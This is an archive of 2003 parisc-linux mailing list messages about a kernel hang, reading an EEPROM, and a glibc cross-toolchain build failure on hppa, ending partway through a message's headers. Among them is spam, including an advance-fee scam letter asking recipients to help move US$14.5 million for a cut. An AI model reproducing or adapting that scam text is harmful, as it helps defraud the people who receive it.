Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Sat, 22 Nov 2003 23:35:31 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3FBFF2C3.4050008@tiscali.be>
References: <20031121005003.GB13007@colo.lackof.org> <3FB265250000556F@ocpmta2.freegates.net> <20031122052915.GB29917@colo.lackof.org> <3FBF4F65.70502@tiscali.be> <20031122220919.GA6732@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622987 2177 80.91.229.3 (22 Nov 2014 02:23:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 22 16:35:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85B5A487A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Nov 2003 16:35:31 -0700 (MST)
Original-Received: from [62.235.120.155] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANhHm-0005r7-Oc; Sun, 23 Nov 2003 00:35:30 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031122220919.GA6732@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20182


Grant Grundler wrote:
> On Sat, Nov 22, 2003 at 11:58:29AM +0000, Joel Soete wrote:
> 
>>I don't know but seems to hang like boot hang when I include the pdc 
>>support into the kernel: green led stay lightning. (and toc seems to 
>>failed because of a time out IO; i don't remember but I think i do have 
>>to read it on lcd)
> 
> 
> What do you mean by "PDC support"?
> You mean CONFIG_PDC_CHASSIS?

Sorry that was in an old mail 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2002-December/018689.html>
and much concern CONFIG_PDC_CONSOLE (via CONFIG_SERIAL_NONSTANDARD=y)


thanks for your attention,
	Joel



From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 93C46 reading via RS-232 port - Please Help me
Date: Sun, 23 Nov 2003 14:16:36 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <3FC0C144.4040902@tiscali.be>
References: <20031121233612.21746.qmail@webmail1.pop.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622988 2179 80.91.229.3 (22 Nov 2014 02:23:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Osvaldo Luiz Loose <osvaldoloose@pop.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 07:16:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5685C4840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Nov 2003 07:16:35 -0700 (MST)
Original-Received: from [62.235.121.4] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANv2Q-0007dx-8a; Sun, 23 Nov 2003 15:16:34 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031121233612.21746.qmail@webmail1.pop.com.br>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20183

<http://www.pjrc.com/tech/8051/serial-eeprom.html>

hth,
	Joel

ps: find thanks to google search:"EEPROM 93C46"+linux

Osvaldo Luiz Loose wrote:
> 
> Hello Paul
> I need a peace of code in ANSI C (Linux), to read data from an
> EEPROM 93C46, connected to the RS232 port of an IBM-PC. (Only
> read). I found some code for PIC and 8051 but not for IBM-PC.
> Can You help me please ? Thank You very much,
> osvaldoloose@pop.com.br
> 
> 



From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 17:30:13 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <3FC0EEA5.1040009@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622988 2183 80.91.229.3 (22 Nov 2014 02:23:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 10:30:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3730C4840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 10:30:12 -0700 (MST)
Original-Received: from [62.235.121.4] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANy3n-0006Ok-6d; Sun, 23 Nov 2003 18:30:11 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20184

Hi Carlos,

In the hope to rebuild kernel last 2.6(.0-test9-pa6) to test it on the 
b2k and n4k, I try to follow your Build xc howto with new binutils (ie 
2.14.90.0.7-3), glibc (2.3.2.ds1-10) and gcc-3.3 (3.3.2-4) to rebuild 
first 32bit tools.

(Just change a bit the way to apply debian patches in binutils: adopt 
glibc method)

For binutils and partial gcc, all works fine. But for glibc which I try 
to configure as follow:
export PATH=/Sources/parisc-linux/xc/bin:$PATH; \
unset LD_LIBRARY_PATH; unset LD_RUN_PATH; \
export CC=/Sources/parisc-linux/xc/bin/hppa-linux-gcc; \
export CLFAGS="-O2 -g";\
/Sources/parisc-linux/src/glibc/configure --target=hppa-linux \
--host=hppa-linux --prefix=/Sources/parisc-linux/xc/hppa-linux \
--without-cvs --disable-profile --enable-hacker-mode --enable-add-ons \
--with-headers=/Sources/parisc-linux/src/linux/include

failed because:
[...]
checking for long double... yes
checking size of long double... 8
running configure fragment for nptl/sysdeps/pthread
configure: error: compiler support for __thread is required
[...]

What do i wrong?

I try to see how dpkg-buildpackage reconfigure glibc and gcc (respectively):
configure' --prefix=/usr  '--host=hppa-linux' '--build=hppa-linux' \ 
'--prefix=/usr' '--without-cvs' '--enable-add-ons=linuxthreads ' \
'--with-headers=/Develop/parisc-linux/sources/glibc-2.3.2.ds1/debian/include'\
  '--enable-kernel=2.2.0' \
'CPPFLAGS=-isystem \
Develop/parisc-linux/sources/glibc-2.3.2.ds1/debian/include' \
'build_alias=hppa-linux' 'host_alias=hppa-linux' --cache-file=/dev/null\
--srcdir=/Develop/parisc-linux/sources/glibc-2.3.2.ds1/build-tree/glibc-2.3.2/linuxthreads

(for gcc-snapshot!)
../src/configure -v --enable-languages=c,c++,f77,objc,treelang \
--prefix=/usr/lib/gcc-snapshot --enable-shared --with-system-zlib \
--enable-nls --without-included-gettext --enable-__cxa_atexit \
--enable-clocale=gnu \
--enable-libstdcxx-debug --with-cpp-install-dir=bin --disable-werror \
hppa-linux

but I don't see how can I add 'support for __thread' to gcc.

Any idea?

Thanks in advance for attention,
	Joel



From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 09:57:44 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20031123175744.GR975@tausq.org>
References: <3FC0EEA5.1040009@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622988 2185 80.91.229.3 (22 Nov 2014 02:23:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:08 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 10:54:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4E224840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 10:54:06 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id F09B6CD33B; Sun, 23 Nov 2003 09:57:44 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3FC0EEA5.1040009@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20185

> but I don't see how can I add 'support for __thread' to gcc.

this (nptl) is not yet supported on hppa, we've discussed this several
times but no one yet has time to work on it.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sky Limo" <admin@skylimo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Do not drink & drive call the sky
Date: Sun, 23 Nov 2003 13:39:53 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <20031123183946.DYMV12257.tomts23-srv.bellnexxia.net@sky-a1mbg631ii8.me>
Reply-To: info@skylimo.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="-=_AROZNWZNNZSFN.024901810411CKQ.02951112"
X-Trace: ger.gmane.org 1416622989 2186 80.91.229.3 (22 Nov 2014 02:23:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 11:39:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tomts23-srv.bellnexxia.net (tomts23.bellnexxia.net [209.226.175.185])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23AC54840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Nov 2003 11:39:48 -0700 (MST)
Original-Received: from sky-a1mbg631ii8.me ([64.231.161.65])
          by tomts23-srv.bellnexxia.net
          (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP
          id <20031123183946.DYMV12257.tomts23-srv.bellnexxia.net@sky-a1mbg631ii8.me>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 23 Nov 2003 13:39:46 -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20186

This is a multi-part message in MIME format

---=_AROZNWZNNZSFN.024901810411CKQ.02951112
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

This is an HTML message.

---=_AROZNWZNNZSFN.024901810411CKQ.02951112
Content-Type: text/html
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV>
<DIV><FONT color=#ff0000 size=7>SKY LIMO<BR></FONT><FONT color=#0000ff>TORONTO 
ONTARIO CANADA<BR>www.skylimo.ca &nbsp;</FONT> info@skylimo.ca<BR><FONT 
color=#0000ff><FONT size=6>SEASON GREETINGS<BR></FONT></FONT><FONT 
color=#ff0000><FONT size=5>DO NOT DRINK &amp; DRIVE<BR>CALL THE 
SKY<BR></FONT></FONT><FONT color=#0000ff><FONT size=2>FOR ALL YOUR 
TRANSPORTATION NEEDS<BR></FONT><FONT size=5>416 979 5466<BR>1800 890 
9991<BR></FONT></FONT><BR></DIV></DIV>
</BODY></HTML>

---=_AROZNWZNNZSFN.024901810411CKQ.02951112--


From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 18:42:47 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3FC0FFA7.1090605@tiscali.be>
References: <3FC0EEA5.1040009@tiscali.be> <20031123175744.GR975@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622989 2190 80.91.229.3 (22 Nov 2014 02:23:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:09 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 11:42:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACBFE4840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 11:42:46 -0700 (MST)
Original-Received: from [62.235.121.4] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ANzC0-00019w-Io; Sun, 23 Nov 2003 19:42:44 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031123175744.GR975@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20187

Randolph,

Thanks, I see:

change --enable-add-ons by --enable-add-ons=linuxthreads help to avoid 
to compile nptl.

Sorry to not being of more help (not enough knowledge to start more 
hacking about support __thread) :(

Joel

Randolph Chung wrote:
>>but I don't see how can I add 'support for __thread' to gcc.
> 
> 
> this (nptl) is not yet supported on hppa, we've discussed this several
> times but no one yet has time to work on it.
> 
> randolph



From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wolny Olkusz <wolny_olkusz@rediffmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IMPORTANT
Date: Sun, 23 Nov 2003 20:32:52 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <20031123193251.ED30E4840@dsl2.external.hp.com>
Reply-To: wolny_olkusz@rediffmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="9f0687b6-594a-470a-a6c3-099239dc9609"
X-Trace: ger.gmane.org 1416622989 2193 80.91.229.3 (22 Nov 2014 02:23:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 12:32:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rediffmail2369.com (g238114.upc-g.chello.nl [80.57.238.114])
	by dsl2.external.hp.com (Postfix) with SMTP id ED30E4840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 12:32:51 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20188

This is a multi-part message in MIME format
--9f0687b6-594a-470a-a6c3-099239dc9609
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Good Day,
With warm heart I offer my friendship, and my greetings,
and I hope this letter meets you in good time. It will
be surprising to you to receive this proposal from me
since you do not know me personally.
However, I am sincerely seeking your confidence in this transaction,
which I propose with my free mind and as a person of integrity.
My name is Wolny Olkusz, the first son of Paul Olkusz,
of the most popular black farmer from Zimbabwe, murdered
in the land dispute in my country. As led by my instict,
I decided to contact you through email, after searching
for contacts via the internet, as it is the only means
I can contact anybody since I am cutting off ties with
Zimbabwe for security and safety reasons.
However, I apologize if this is not acceptable to you. The purpose of
this letter is to seek your most needed assistance in a business
venture. Due to the land and political problems in Zimbabwe, as a result
of President Robert Mugabe's introduction of new Land Act Reform wholly
affecting the rich white farmers and the few rich black farmers, and his
desire to hold on to power for life, my father for saw the danger that
came in Zimbabwe.
Before he was murdered, he withdrew all of our business
foreign accounts in dollars and sold up our shares in
major companies. We then went to SOUTH AFRICA to deposit
the sum of US$14.5 million (Fourteen million, Five Hundred thousand US
dollars), in a private security company. This money was deposited with
this Private Security company for safety and security reasons, and was
to be used for the purchase of land, new machines and chemicals
establishment of new farms in Europe. President Mugabe's support for the
violent Zimbabwean war veterans and some lunatics in the society, led to
the murder of my beloved father and other innocent lives.
I was continually threatened to abandon my inheritance from
my father after he was murdered. I resited for a while, but when the
danger became unbearable, and I survived two murder attempts, I fled
Zimbabwe. I am currently staying in the Holland where I am seeking
political asylum. In fact my decision to come here to seek asylum, is
because the security company from South Africa, has a branch holland and
they have moved the deposit from their office in Johannesburg down here.
I need to transfer this money to an account and invest part
of the money. Since the law of Netherland prohibits a refugee (asylum
seeker) to open any bank account or to be involved in any financial
transaction, this is why I am seeking a genuine and reliable partner,
whose account this money can be transferred, hence this proposal to
you.You have to understand that this decision taken by me entrusts my
future and in your hands, as a result of the safe keeping of this money.
If you accept to assist me, all I want you to do for me, is
to assist with arrangements to claim the deposit from the security
company from their office in Netherlands, as it has now been transfered
from Johannesburg, South Africa to their branch here. The company will
be legally informed of you representing me. For your assistance, I have
two options for you.
Firstly you can choose to have 18% of the money for your assistance, and
helping me open an account for the money to be deposited here, or you
can go into partnership with me for the proper profitable investment of
the money in your country. Whichever the option you want, please to
notify me in your reply. I have also set aside 1%($145,000,00) of this
money for all kinds of expenses that come our way in the process of this
transaction, and 4%
($580,000,00) for Charity donation.
If you prefer to accept the 18% for assisting with opening an account,
then 85%will be left in the account here for me. Please, I want you
maintain the absolute secrecy for the purpose of this transaction. I
look forward to your reply and co-operation, and I thank you in advance
as I anticipate your co-operation.You can reach me on my direct line
which is +31-620908508 or via email, wolny_olkusz@rediffmail.com

Sincerely,

Wolny Olkusz.  
--9f0687b6-594a-470a-a6c3-099239dc9609--



From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 14:53:03 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200311231953.hANJr4Kj028577@hiauly1.hia.nrc.ca>
References: <3FC0FFA7.1090605@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622989 2196 80.91.229.3 (22 Nov 2014 02:23:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:09 +0000 (UTC)
Cc: randolph@tausq.org, carlos@baldric.uwo.ca,
	parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 12:53:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16C674840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 12:53:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hANJr42v028578;
	Sun, 23 Nov 2003 14:53:05 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hANJr4Kj028577;
	Sun, 23 Nov 2003 14:53:04 -0500 (EST)
In-Reply-To: <3FC0FFA7.1090605@tiscali.be> from "Joel Soete" at Nov 23, 2003 06:42:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20189

> Sorry to not being of more help (not enough knowledge to start more 
> hacking about support __thread) :(

This is complicated, and requires an in-depth understanding of GCC
and binutils.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 20:58:48 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <3FC11F88.5040409@tiscali.be>
References: <200311231953.hANJr4Kj028577@hiauly1.hia.nrc.ca>
